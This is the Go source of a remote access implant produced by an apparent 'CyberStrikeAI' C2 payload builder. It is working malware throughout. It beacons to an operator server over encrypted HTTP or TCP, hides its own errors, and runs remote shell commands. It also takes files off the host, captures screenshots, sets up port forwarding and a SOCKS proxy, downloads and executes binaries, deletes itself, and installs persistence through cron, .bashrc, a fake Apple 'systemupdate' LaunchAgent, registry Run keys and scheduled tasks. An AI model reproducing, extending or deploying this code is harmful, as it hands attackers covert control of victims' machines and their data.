// Code generated by CyberStrikeAI C2 payload builder. DO NOT EDIT. // 此文件由 internal/c2/payload_builder.go 在生成 beacon 时填充并交叉编译。 // 占位符列表(构建时由 text/template 替换): // {{.ServerURL}} e.g. http://1.2.3.4:8443 // {{.ImplantToken}} HTTP header X-Implant-Token 值 // {{.AESKeyB64}} 32-byte AES-256 base64 // {{.SleepSeconds}} 默认心跳间隔 // {{.JitterPercent}} 抖动百分比 0-100 // {{.CheckInPath}} 默认 /check_in // {{.TasksPath}} 默认 /tasks // {{.ResultPath}} 默认 /result // {{.UploadPath}} 默认 /upload // {{.FilePath}} 默认 /file/ // {{.UserAgent}} 默认 Mozilla/5.0 ... // {{.Transport}} http | tcp(tcp 时使用 TCP 成帧协议 + 魔数 CSB1,与 tcp_reverse 监听器配套) // {{.TCPDialAddr}} tcp 时回连地址 host:port;http 时为空 // {{.TransportMetadata}} 写入 check-in metadata.transport(http_beacon | tcp_beacon 等) // // 设计要点: // - 无第三方依赖(仅标准库),CGO_ENABLED=0 即可跨平台编译; // - 所有与服务端的交互均使用 AES-256-GCM 加密; // - 任务异步并发执行(每个任务一个 goroutine),不阻塞主心跳循环; // - 出错静默:避免 stderr/stdout 暴露 beacon 存在,panic 统一 recover。 package main import ( "bytes" "crypto/aes" "crypto/cipher" "crypto/rand" "crypto/tls" "encoding/base64" "encoding/binary" "encoding/json" "fmt" "io" mrand "math/rand" "net" "net/http" "os" "os/exec" "os/user" "path/filepath" "runtime" "strings" "sync" "time" ) // 编译期注入常量(text/template 替换) const ( serverURL = "{{.ServerURL}}" implantToken = "{{.ImplantToken}}" aesKeyB64 = "{{.AESKeyB64}}" defaultSleep = {{.SleepSeconds}} defaultJitter = {{.JitterPercent}} checkInPath = "{{.CheckInPath}}" tasksPath = "{{.TasksPath}}" resultPath = "{{.ResultPath}}" uploadPath = "{{.UploadPath}}" filePath = "{{.FilePath}}" userAgent = "{{.UserAgent}}" beaconTransport = "{{.Transport}}" tcpDialAddr = "{{.TCPDialAddr}}" transportMetaConst = "{{.TransportMetadata}}" ) const tcpBeaconWireMax = 64 << 20 var ( implantUUID string sessionID string currentSleep = defaultSleep currentJit = defaultJitter cwdMu sync.Mutex currentCwd string httpClient *http.Client // tcpTaskConn 在 TCP Beacon 同步执行任务时指向当前连接,供 fetchC2File 拉取服务端文件。 tcpTaskConn net.Conn ) // CheckInResp 与服务端 ImplantCheckInResponse 对齐 type CheckInResp struct { SessionID string `json:"session_id"` NextSleep int `json:"next_sleep"` NextJitter int `json:"next_jitter"` HasTasks bool `json:"has_tasks"` ServerTime int64 `json:"server_time"` } // TaskEnv 与服务端 TaskEnvelope 对齐 type TaskEnv struct { TaskID string `json:"task_id"` TaskType string `json:"task_type"` Payload map[string]interface{} `json:"payload"` } // TaskReport 与服务端 TaskResultReport 对齐 type TaskReport struct { TaskID string `json:"task_id"` Success bool `json:"success"` Output string `json:"output,omitempty"` Error string `json:"error,omitempty"` BlobBase64 string `json:"blob_b64,omitempty"` BlobSuffix string `json:"blob_suffix,omitempty"` StartedAt int64 `json:"started_at"` EndedAt int64 `json:"ended_at"` } func main() { defer func() { _ = recover() }() implantUUID = generateImplantUUID() currentCwd, _ = os.Getwd() if beaconTransport == "tcp" { runTCPBeaconForever() return } httpClient = &http.Client{ Timeout: 60 * time.Second, Transport: &http.Transport{ DisableKeepAlives: true, TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, TLSHandshakeTimeout: 10 * time.Second, }, } for { resp, err := checkIn() if err == nil && resp != nil { sessionID = resp.SessionID if resp.NextSleep > 0 { currentSleep = resp.NextSleep } if resp.NextJitter >= 0 { currentJit = resp.NextJitter } if resp.HasTasks { envs, err := fetchTasks() if err == nil { for _, env := range envs { go handleTaskAsync(env) } } } } time.Sleep(applyJitter(currentSleep, currentJit)) } } func runTCPBeaconForever() { for { conn, err := net.DialTimeout("tcp", tcpDialAddr, 45*time.Second) if err != nil { time.Sleep(applyJitter(currentSleep, currentJit)) continue } func() { defer conn.Close() if _, err := io.WriteString(conn, "CSB1"); err != nil { return } tcpBeaconSessionLoop(conn) }() time.Sleep(applyJitter(currentSleep, currentJit)) } } func tcpWriteFrame(conn net.Conn, enc string) error { b := []byte(enc) if len(b) == 0 || len(b) > tcpBeaconWireMax { return fmt.Errorf("bad tcp frame") } var hdr [4]byte binary.BigEndian.PutUint32(hdr[:], uint32(len(b))) if _, err := conn.Write(hdr[:]); err != nil { return err } _, err := conn.Write(b) return err } func tcpReadFrame(conn net.Conn) (string, error) { var n uint32 if err := binary.Read(conn, binary.BigEndian, &n); err != nil { return "", err } if n == 0 || int64(n) > int64(tcpBeaconWireMax) { return "", fmt.Errorf("bad tcp frame size") } buf := make([]byte, n) if _, err := io.ReadFull(conn, buf); err != nil { return "", err } return string(buf), nil } func tcpRoundTrip(conn net.Conn, plainJSON []byte) ([]byte, error) { enc, err := encryptGCM(plainJSON) if err != nil { return nil, err } if err := tcpWriteFrame(conn, enc); err != nil { return nil, err } _ = conn.SetReadDeadline(time.Now().Add(6 * time.Minute)) cipherB64, err := tcpReadFrame(conn) if err != nil { return nil, err } return decryptGCM(cipherB64) } func tcpBeaconSessionLoop(conn net.Conn) { for { resp, err := tcpCheckIn(conn) if err != nil || resp == nil { return } sessionID = resp.SessionID if resp.NextSleep > 0 { currentSleep = resp.NextSleep } if resp.NextJitter >= 0 { currentJit = resp.NextJitter } if resp.HasTasks { envs, err := tcpFetchTasks(conn) if err == nil { for _, env := range envs { handleTaskSyncTCP(conn, env) } } } _ = conn.SetReadDeadline(time.Time{}) time.Sleep(applyJitter(currentSleep, currentJit)) } } func tcpCheckInJSONBody() ([]byte, error) { checkObj := map[string]interface{}{ "uuid": implantUUID, "hostname": hostnameOrDefault(), "username": currentUsername(), "os": runtime.GOOS, "arch": runtime.GOARCH, "pid": os.Getpid(), "process_name": filepath.Base(exeSelf()), "is_admin": isAdminProcess(), "internal_ip": firstInternalIP(), "user_agent": userAgent, "sleep_seconds": currentSleep, "jitter_percent": currentJit, "metadata": map[string]interface{}{ "transport": transportMetaConst, "cwd": currentCwd, }, } rawCheck, err := json.Marshal(checkObj) if err != nil { return nil, err } wire := map[string]interface{}{ "op": "check_in", "token": implantToken, "check": json.RawMessage(rawCheck), } return json.Marshal(wire) } func tcpCheckIn(conn net.Conn) (*CheckInResp, error) { body, err := tcpCheckInJSONBody() if err != nil { return nil, err } plain, err := tcpRoundTrip(conn, body) if err != nil { return nil, err } var r CheckInResp if err := json.Unmarshal(plain, &r); err != nil { return nil, err } return &r, nil } func tcpFetchTasks(conn net.Conn) ([]TaskEnv, error) { wire := map[string]interface{}{ "op": "tasks", "token": implantToken, "session_id": sessionID, } body, _ := json.Marshal(wire) plain, err := tcpRoundTrip(conn, body) if err != nil { return nil, err } var wrapper struct { Tasks []TaskEnv `json:"tasks"` } if err := json.Unmarshal(plain, &wrapper); err != nil { return nil, err } return wrapper.Tasks, nil } func tcpReportResult(conn net.Conn, report TaskReport) { repRaw, err := json.Marshal(report) if err != nil { return } wire := map[string]interface{}{ "op": "result", "token": implantToken, "result": json.RawMessage(repRaw), } body, _ := json.Marshal(wire) _, _ = tcpRoundTrip(conn, body) } func handleTaskSyncTCP(conn net.Conn, env TaskEnv) { defer func() { _ = recover() }() tcpTaskConn = conn defer func() { tcpTaskConn = nil }() start := time.Now() output, blobB64, blobSuffix, errMsg := executeTask(env.TaskType, env.Payload) report := TaskReport{ TaskID: env.TaskID, Success: errMsg == "", Output: output, Error: errMsg, BlobBase64: blobB64, BlobSuffix: blobSuffix, StartedAt: start.UnixMilli(), EndedAt: time.Now().UnixMilli(), } tcpReportResult(conn, report) } func tcpFetchEncryptedFile(conn net.Conn, fileID string) ([]byte, error) { fr, _ := json.Marshal(map[string]string{"file_id": fileID}) wire := map[string]interface{}{ "op": "file", "token": implantToken, "file": json.RawMessage(fr), } body, err := json.Marshal(wire) if err != nil { return nil, err } plain, err := tcpRoundTrip(conn, body) if err != nil { return nil, err } var wrapper struct { FileData string `json:"file_data"` } if err := json.Unmarshal(plain, &wrapper); err != nil { return nil, err } return base64.StdEncoding.DecodeString(wrapper.FileData) } func fetchC2FileByID(fileID string) ([]byte, error) { if tcpTaskConn != nil { return tcpFetchEncryptedFile(tcpTaskConn, fileID) } url := fmt.Sprintf("%s%s%s.bin", serverURL, filePath, fileID) req, _ := http.NewRequest("GET", url, nil) req.Header.Set("User-Agent", userAgent) req.Header.Set("X-Implant-Token", implantToken) resp, err := httpClient.Do(req) if err != nil { return nil, err } defer resp.Body.Close() if resp.StatusCode != 200 { return nil, fmt.Errorf("download failed: %d", resp.StatusCode) } raw, err := io.ReadAll(resp.Body) if err != nil { return nil, err } plain, err := decryptGCM(string(raw)) if err != nil { return nil, err } var wrapper struct { FileData string `json:"file_data"` } if err := json.Unmarshal(plain, &wrapper); err != nil { return nil, err } return base64.StdEncoding.DecodeString(wrapper.FileData) } func generateImplantUUID() string { host, _ := os.Hostname() mac := firstMACAddr() return fmt.Sprintf("%s-%s-%d", host, mac, os.Getpid()) } func firstMACAddr() string { ifs, err := net.Interfaces() if err != nil { return "000000000000" } for _, i := range ifs { if i.Flags&net.FlagLoopback != 0 || len(i.HardwareAddr) == 0 { continue } return strings.ReplaceAll(i.HardwareAddr.String(), ":", "") } return "000000000000" } func firstInternalIP() string { ifs, err := net.Interfaces() if err != nil { return "" } for _, i := range ifs { if i.Flags&net.FlagLoopback != 0 || i.Flags&net.FlagUp == 0 { continue } addrs, err := i.Addrs() if err != nil { continue } for _, a := range addrs { ipnet, ok := a.(*net.IPNet) if !ok || ipnet.IP.To4() == nil { continue } return ipnet.IP.String() } } return "" } func currentUsername() string { u, err := user.Current() if err != nil || u == nil { return "unknown" } return u.Username } func isAdminProcess() bool { if runtime.GOOS == "windows" { _, err := os.Open(filepath.Join(os.Getenv("WINDIR"), "System32", "config", "SAM")) return err == nil } return os.Geteuid() == 0 } func hostnameOrDefault() string { h, _ := os.Hostname() if h == "" { return "unknown" } return h } func exeSelf() string { ex, _ := os.Executable() if ex == "" { return "unknown" } return ex } func applyJitter(baseSec, jitterPct int) time.Duration { if baseSec <= 0 { return 5 * time.Second } if jitterPct <= 0 { return time.Duration(baseSec) * time.Second } if jitterPct > 100 { jitterPct = 100 } delta := mrand.Intn(2*jitterPct+1) - jitterPct factor := 1.0 + float64(delta)/100.0 return time.Duration(float64(baseSec)*factor) * time.Second } func checkIn() (*CheckInResp, error) { payload := map[string]interface{}{ "uuid": implantUUID, "hostname": hostnameOrDefault(), "username": currentUsername(), "os": runtime.GOOS, "arch": runtime.GOARCH, "pid": os.Getpid(), "process_name": filepath.Base(exeSelf()), "is_admin": isAdminProcess(), "internal_ip": firstInternalIP(), "user_agent": userAgent, "sleep_seconds": currentSleep, "jitter_percent": currentJit, "metadata": map[string]interface{}{ "transport": transportMetaConst, "cwd": currentCwd, }, } body, _ := json.Marshal(payload) enc, err := encryptGCM(body) if err != nil { return nil, err } req, _ := http.NewRequest("POST", serverURL+checkInPath, bytes.NewReader([]byte(enc))) req.Header.Set("User-Agent", userAgent) req.Header.Set("X-Implant-Token", implantToken) resp, err := httpClient.Do(req) if err != nil { return nil, err } defer resp.Body.Close() if resp.StatusCode != 200 { return nil, fmt.Errorf("checkin status %d", resp.StatusCode) } raw, err := io.ReadAll(resp.Body) if err != nil { return nil, err } plain, err := decryptGCM(string(raw)) if err != nil { return nil, err } var r CheckInResp if err := json.Unmarshal(plain, &r); err != nil { return nil, err } return &r, nil } func fetchTasks() ([]TaskEnv, error) { url := fmt.Sprintf("%s%s?session_id=%s", serverURL, tasksPath, sessionID) req, _ := http.NewRequest("GET", url, nil) req.Header.Set("User-Agent", userAgent) req.Header.Set("X-Implant-Token", implantToken) resp, err := httpClient.Do(req) if err != nil { return nil, err } defer resp.Body.Close() if resp.StatusCode != 200 { return nil, fmt.Errorf("fetch tasks status %d", resp.StatusCode) } raw, err := io.ReadAll(resp.Body) if err != nil { return nil, err } plain, err := decryptGCM(string(raw)) if err != nil { return nil, err } var wrapper struct { Tasks []TaskEnv `json:"tasks"` } if err := json.Unmarshal(plain, &wrapper); err != nil { return nil, err } return wrapper.Tasks, nil } func reportResult(report TaskReport) { body, _ := json.Marshal(report) enc, err := encryptGCM(body) if err != nil { return } req, _ := http.NewRequest("POST", serverURL+resultPath, bytes.NewReader([]byte(enc))) req.Header.Set("User-Agent", userAgent) req.Header.Set("X-Implant-Token", implantToken) resp, err := httpClient.Do(req) if err != nil { return } defer resp.Body.Close() _, _ = io.ReadAll(resp.Body) } func getAESKey() ([]byte, error) { return base64.StdEncoding.DecodeString(aesKeyB64) } func encryptGCM(plaintext []byte) (string, error) { key, err := getAESKey() if err != nil { return "", err } block, err := aes.NewCipher(key) if err != nil { return "", err } gcm, err := cipher.NewGCM(block) if err != nil { return "", err } nonce := make([]byte, gcm.NonceSize()) if _, err := rand.Read(nonce); err != nil { return "", err } ct := gcm.Seal(nil, nonce, plaintext, nil) out := append(nonce, ct...) return base64.StdEncoding.EncodeToString(out), nil } func decryptGCM(cipherText string) ([]byte, error) { key, err := getAESKey() if err != nil { return nil, err } raw, err := base64.StdEncoding.DecodeString(cipherText) if err != nil { return nil, err } block, err := aes.NewCipher(key) if err != nil { return nil, err } gcm, err := cipher.NewGCM(block) if err != nil { return nil, err } ns := gcm.NonceSize() if len(raw) < ns+16 { return nil, fmt.Errorf("ciphertext too short") } nonce, ct := raw[:ns], raw[ns:] return gcm.Open(nil, nonce, ct, nil) } func handleTaskAsync(env TaskEnv) { defer func() { _ = recover() }() start := time.Now() output, blobB64, blobSuffix, errMsg := executeTask(env.TaskType, env.Payload) report := TaskReport{ TaskID: env.TaskID, Success: errMsg == "", Output: output, Error: errMsg, BlobBase64: blobB64, BlobSuffix: blobSuffix, StartedAt: start.UnixMilli(), EndedAt: time.Now().UnixMilli(), } reportResult(report) } func executeTask(taskType string, payload map[string]interface{}) (output, blobB64, blobSuffix, errMsg string) { switch taskType { case "exec": return taskExec(payload) case "shell": return taskShell(payload) case "pwd": return taskPwd() case "cd": return taskCd(payload) case "ls": return taskLs(payload) case "ps": return taskPs() case "kill_proc": return taskKillProc(payload) case "upload": return taskUpload(payload) case "download": return taskDownload(payload) case "screenshot": return taskScreenshot() case "sleep": return taskSleep(payload) case "port_fwd": return taskPortForward(payload) case "socks_start": return taskSocksStart(payload) case "socks_stop": return taskSocksStop(payload) case "load_assembly": return taskLoadAssembly(payload) case "persist": return taskPersist(payload) case "exit": os.Exit(0) return "", "", "", "" case "self_delete": return taskSelfDelete() default: return "", "", "", "unsupported task type: " + taskType } } func shellByOS() string { if runtime.GOOS == "windows" { return "cmd" } return "/bin/sh" } func shellFlag() string { if runtime.GOOS == "windows" { return "/c" } return "-c" } func runWithTimeout(cmdStr string, timeoutSec int) (string, error) { if timeoutSec <= 0 { timeoutSec = 60 } cmd := exec.Command(shellByOS(), shellFlag(), cmdStr) cwdMu.Lock() cmd.Dir = currentCwd cwdMu.Unlock() done := make(chan struct { out []byte err error }, 1) go func() { out, err := cmd.CombinedOutput() done <- struct { out []byte err error }{out, err} }() select { case res := <-done: return string(res.out), res.err case <-time.After(time.Duration(timeoutSec) * time.Second): _ = cmd.Process.Kill() return "", fmt.Errorf("timeout") } } func getTimeoutFromPayload(payload map[string]interface{}) int { to, _ := payload["timeout_seconds"].(float64) if to <= 0 { return 60 } return int(to) } func taskExec(payload map[string]interface{}) (string, string, string, string) { cmdStr, _ := payload["command"].(string) if cmdStr == "" { return "", "", "", "command is empty" } out, err := runWithTimeout(cmdStr, getTimeoutFromPayload(payload)) if err != nil { return out, "", "", err.Error() } return out, "", "", "" } func taskShell(payload map[string]interface{}) (string, string, string, string) { cmdStr, _ := payload["command"].(string) if cmdStr == "" { return "", "", "", "command is empty" } // Append a pwd/cd probe to the command so we can capture the real cwd // after the user's command runs (e.g. "cd /tmp && ls" → cwd becomes /tmp). var probe string if runtime.GOOS == "windows" { probe = " && cd" } else { probe = " && pwd" } combined := cmdStr + probe out, err := runWithTimeout(combined, getTimeoutFromPayload(payload)) // The last line of output is the cwd from the probe command. // Split it off so we don't return the probe output to the operator. lines := strings.Split(strings.TrimRight(out, "\r\n"), "\n") if len(lines) > 0 { candidate := strings.TrimSpace(lines[len(lines)-1]) if filepath.IsAbs(candidate) { if info, statErr := os.Stat(candidate); statErr == nil && info.IsDir() { cwdMu.Lock() currentCwd = candidate cwdMu.Unlock() out = strings.Join(lines[:len(lines)-1], "\n") } } } if err != nil { return out, "", "", err.Error() } return out, "", "", "" } func taskPwd() (string, string, string, string) { cwdMu.Lock() cwd := currentCwd cwdMu.Unlock() return cwd, "", "", "" } func taskCd(payload map[string]interface{}) (string, string, string, string) { path, _ := payload["path"].(string) if path == "" { return "", "", "", "path is empty" } cwdMu.Lock() if !filepath.IsAbs(path) { path = filepath.Join(currentCwd, path) } cwdMu.Unlock() abs, err := filepath.Abs(path) if err != nil { return "", "", "", err.Error() } info, err := os.Stat(abs) if err != nil { return "", "", "", err.Error() } if !info.IsDir() { return "", "", "", "not a directory" } cwdMu.Lock() currentCwd = abs cwdMu.Unlock() return abs, "", "", "" } func taskLs(payload map[string]interface{}) (string, string, string, string) { path, _ := payload["path"].(string) if path == "" { path = "." } cwdMu.Lock() if !filepath.IsAbs(path) { path = filepath.Join(currentCwd, path) } cwdMu.Unlock() entries, err := os.ReadDir(path) if err != nil { return "", "", "", err.Error() } var lines []string for _, e := range entries { info, _ := e.Info() if info != nil { lines = append(lines, fmt.Sprintf("%s\t%s\t%d\t%s", e.Type().String(), info.Mode().String(), info.Size(), e.Name())) } else { lines = append(lines, e.Name()) } } return strings.Join(lines, "\n"), "", "", "" } func taskPs() (string, string, string, string) { if runtime.GOOS == "windows" { out, err := runWithTimeout("tasklist", 30) if err != nil { return out, "", "", err.Error() } return out, "", "", "" } out, err := runWithTimeout("ps aux", 30) if err != nil { return out, "", "", err.Error() } return out, "", "", "" } func taskKillProc(payload map[string]interface{}) (string, string, string, string) { pidFloat, _ := payload["pid"].(float64) pid := int(pidFloat) if pid <= 0 { return "", "", "", "invalid pid" } proc, err := os.FindProcess(pid) if err != nil { return "", "", "", err.Error() } if err := proc.Kill(); err != nil { return "", "", "", err.Error() } return "killed", "", "", "" } func taskUpload(payload map[string]interface{}) (string, string, string, string) { remotePath, _ := payload["remote_path"].(string) fileID, _ := payload["file_id"].(string) if remotePath == "" || fileID == "" { return "", "", "", "remote_path or file_id empty" } data, err := fetchC2FileByID(fileID) if err != nil { return "", "", "", err.Error() } if err := os.WriteFile(remotePath, data, 0644); err != nil { return "", "", "", err.Error() } return fmt.Sprintf("uploaded %d bytes to %s", len(data), remotePath), "", "", "" } func taskDownload(payload map[string]interface{}) (string, string, string, string) { remotePath, _ := payload["remote_path"].(string) if remotePath == "" { return "", "", "", "remote_path empty" } data, err := os.ReadFile(remotePath) if err != nil { return "", "", "", err.Error() } // File data goes through the standard encrypted result channel via blob_b64 b64 := base64.StdEncoding.EncodeToString(data) suffix := filepath.Ext(remotePath) return fmt.Sprintf("downloaded %d bytes from %s", len(data), remotePath), b64, suffix, "" } func taskScreenshot() (string, string, string, string) { var b64Out string var err error switch runtime.GOOS { case "darwin": b64Out, err = runWithTimeout("screencapture -x /tmp/.cs_ss.png && base64 /tmp/.cs_ss.png && rm -f /tmp/.cs_ss.png", 30) case "linux": b64Out, err = runWithTimeout("import -window root /tmp/.cs_ss.png 2>/dev/null && base64 /tmp/.cs_ss.png && rm -f /tmp/.cs_ss.png", 30) case "windows": ps := `Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $b=New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width,[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $g=[System.Drawing.Graphics]::FromImage($b); $g.CopyFromScreen([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Location,[System.Drawing.Point]::Empty,$b.Size); $m=New-Object IO.MemoryStream; $b.Save($m,[System.Drawing.Imaging.ImageFormat]::Png); [Convert]::ToBase64String($m.ToArray())` b64Out, err = runWithTimeout(fmt.Sprintf("powershell -NoProfile -NonInteractive -Command \"%s\"", ps), 30) default: return "", "", "", "screenshot not supported on " + runtime.GOOS } if err != nil { return "", "", "", err.Error() } b64Out = strings.TrimSpace(b64Out) return "screenshot captured", b64Out, ".png", "" } func taskSleep(payload map[string]interface{}) (string, string, string, string) { s, _ := payload["seconds"].(float64) j, _ := payload["jitter"].(float64) currentSleep = int(s) currentJit = int(j) return fmt.Sprintf("sleep set to %ds (jitter %d%%)", currentSleep, currentJit), "", "", "" } func taskSelfDelete() (string, string, string, string) { exe := exeSelf() if exe == "" || exe == "unknown" { return "", "", "", "cannot determine self path" } go func() { time.Sleep(2 * time.Second) os.Remove(exe) }() os.Exit(0) return "", "", "", "" } // --- Port Forward --- var ( portFwdMu sync.Mutex portFwdConns = make(map[string]net.Listener) ) func taskPortForward(payload map[string]interface{}) (string, string, string, string) { action, _ := payload["action"].(string) localPort := int(getFloat(payload, "local_port")) remoteHost, _ := payload["remote_host"].(string) remotePort := int(getFloat(payload, "remote_port")) if action == "stop" { key := fmt.Sprintf("%d", localPort) portFwdMu.Lock() if ln, ok := portFwdConns[key]; ok { ln.Close() delete(portFwdConns, key) } portFwdMu.Unlock() return fmt.Sprintf("port forward on :%d stopped", localPort), "", "", "" } if localPort <= 0 || remoteHost == "" || remotePort <= 0 { return "", "", "", "local_port, remote_host, remote_port required" } ln, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", localPort)) if err != nil { return "", "", "", err.Error() } key := fmt.Sprintf("%d", localPort) portFwdMu.Lock() portFwdConns[key] = ln portFwdMu.Unlock() go func() { for { conn, err := ln.Accept() if err != nil { return } go func(c net.Conn) { defer c.Close() remote, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%d", remoteHost, remotePort), 10*time.Second) if err != nil { return } defer remote.Close() done := make(chan struct{}, 2) go func() { io.Copy(remote, c); done <- struct{}{} }() go func() { io.Copy(c, remote); done <- struct{}{} }() <-done }(conn) } }() return fmt.Sprintf("port forward 127.0.0.1:%d -> %s:%d started", localPort, remoteHost, remotePort), "", "", "" } // --- SOCKS5 Proxy --- var ( socksMu sync.Mutex socksListener net.Listener ) func taskSocksStart(payload map[string]interface{}) (string, string, string, string) { port := int(getFloat(payload, "port")) if port <= 0 { port = 1080 } socksMu.Lock() if socksListener != nil { socksMu.Unlock() return "", "", "", "socks proxy already running" } socksMu.Unlock() ln, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", port)) if err != nil { return "", "", "", err.Error() } socksMu.Lock() socksListener = ln socksMu.Unlock() go func() { for { conn, err := ln.Accept() if err != nil { return } go handleSocks5(conn) } }() return fmt.Sprintf("SOCKS5 proxy started on 127.0.0.1:%d", port), "", "", "" } func taskSocksStop(payload map[string]interface{}) (string, string, string, string) { socksMu.Lock() if socksListener != nil { socksListener.Close() socksListener = nil } socksMu.Unlock() return "SOCKS5 proxy stopped", "", "", "" } func handleSocks5(conn net.Conn) { defer conn.Close() buf := make([]byte, 258) // Auth negotiation n, err := conn.Read(buf) if err != nil || n < 3 || buf[0] != 0x05 { return } conn.Write([]byte{0x05, 0x00}) // no auth // Request n, err = conn.Read(buf) if err != nil || n < 7 || buf[0] != 0x05 || buf[1] != 0x01 { conn.Write([]byte{0x05, 0x07, 0x00, 0x01, 0, 0, 0, 0, 0, 0}) return } var target string switch buf[3] { case 0x01: // IPv4 if n < 10 { return } target = fmt.Sprintf("%d.%d.%d.%d:%d", buf[4], buf[5], buf[6], buf[7], int(buf[8])<<8|int(buf[9])) case 0x03: // Domain domainLen := int(buf[4]) if n < 5+domainLen+2 { return } domain := string(buf[5 : 5+domainLen]) port := int(buf[5+domainLen])<<8 | int(buf[5+domainLen+1]) target = fmt.Sprintf("%s:%d", domain, port) case 0x04: // IPv6 if n < 22 { return } ip := net.IP(buf[4:20]) port := int(buf[20])<<8 | int(buf[21]) target = fmt.Sprintf("[%s]:%d", ip.String(), port) default: conn.Write([]byte{0x05, 0x08, 0x00, 0x01, 0, 0, 0, 0, 0, 0}) return } remote, err := net.DialTimeout("tcp", target, 10*time.Second) if err != nil { conn.Write([]byte{0x05, 0x05, 0x00, 0x01, 0, 0, 0, 0, 0, 0}) return } defer remote.Close() // Success reply conn.Write([]byte{0x05, 0x00, 0x00, 0x01, 0, 0, 0, 0, 0, 0}) done := make(chan struct{}, 2) go func() { io.Copy(remote, conn); done <- struct{}{} }() go func() { io.Copy(conn, remote); done <- struct{}{} }() <-done } // --- Load Assembly (in-memory exec) --- func taskLoadAssembly(payload map[string]interface{}) (string, string, string, string) { b64Data, _ := payload["data"].(string) args, _ := payload["args"].(string) if b64Data == "" { fileID, _ := payload["file_id"].(string) if fileID == "" { return "", "", "", "data (base64) or file_id required" } asm, err := fetchC2FileByID(fileID) if err != nil { return "", "", "", err.Error() } b64Data = base64.StdEncoding.EncodeToString(asm) } data, err := base64.StdEncoding.DecodeString(b64Data) if err != nil { return "", "", "", "decode assembly: " + err.Error() } tmpDir := os.TempDir() tmpFile := filepath.Join(tmpDir, fmt.Sprintf(".cs_%d", time.Now().UnixNano())) if runtime.GOOS == "windows" { tmpFile += ".exe" } if err := os.WriteFile(tmpFile, data, 0700); err != nil { return "", "", "", err.Error() } defer os.Remove(tmpFile) cmdArgs := []string{} if args != "" { cmdArgs = strings.Fields(args) } cmd := exec.Command(tmpFile, cmdArgs...) cwdMu.Lock() cmd.Dir = currentCwd cwdMu.Unlock() out, err := cmd.CombinedOutput() if err != nil { return string(out), "", "", err.Error() } return string(out), "", "", "" } // --- Persistence --- func taskPersist(payload map[string]interface{}) (string, string, string, string) { method, _ := payload["method"].(string) if method == "" { method = "auto" } exe := exeSelf() if exe == "" || exe == "unknown" { return "", "", "", "cannot determine self path" } switch runtime.GOOS { case "linux": return persistLinux(exe, method) case "darwin": return persistDarwin(exe, method) case "windows": return persistWindows(exe, method) default: return "", "", "", "persistence not supported on " + runtime.GOOS } } func persistLinux(exe, method string) (string, string, string, string) { if method == "auto" || method == "cron" { cronEntry := fmt.Sprintf("@reboot %s &\n", exe) out, err := runWithTimeout(fmt.Sprintf("(crontab -l 2>/dev/null; echo '%s') | sort -u | crontab -", strings.TrimSpace(cronEntry)), 10) if err == nil { return "persistence installed via cron: " + out, "", "", "" } } if method == "auto" || method == "bashrc" { line := fmt.Sprintf("\n(nohup %s &>/dev/null &) # cs\n", exe) home, _ := os.UserHomeDir() if home != "" { f, err := os.OpenFile(filepath.Join(home, ".bashrc"), os.O_APPEND|os.O_WRONLY|os.O_CREATE, 0644) if err == nil { f.WriteString(line) f.Close() return "persistence installed via .bashrc", "", "", "" } } } return "", "", "", "persistence failed on linux" } func persistDarwin(exe, method string) (string, string, string, string) { if method == "auto" || method == "launchagent" { home, _ := os.UserHomeDir() if home == "" { return "", "", "", "cannot determine home dir" } plistDir := filepath.Join(home, "Library", "LaunchAgents") os.MkdirAll(plistDir, 0755) plist := fmt.Sprintf(` Labelcom.apple.systemupdate ProgramArguments%s RunAtLoad KeepAlive StandardOutPath/dev/null StandardErrorPath/dev/null `, exe) plistPath := filepath.Join(plistDir, "com.apple.systemupdate.plist") if err := os.WriteFile(plistPath, []byte(plist), 0644); err != nil { return "", "", "", err.Error() } return "persistence installed via LaunchAgent: " + plistPath, "", "", "" } return "", "", "", "persistence method not supported on darwin" } func persistWindows(exe, method string) (string, string, string, string) { if method == "auto" || method == "registry" { cmd := fmt.Sprintf(`reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "%s" /f`, exe) out, err := runWithTimeout(cmd, 10) if err == nil { return "persistence installed via registry Run key: " + out, "", "", "" } } if method == "auto" || method == "schtasks" { cmd := fmt.Sprintf(`schtasks /create /tn "SystemUpdate" /tr "%s" /sc onlogon /rl highest /f`, exe) out, err := runWithTimeout(cmd, 10) if err == nil { return "persistence installed via schtasks: " + out, "", "", "" } } return "", "", "", "persistence failed on windows" } func getFloat(m map[string]interface{}, key string) float64 { v, _ := m[key].(float64) return v }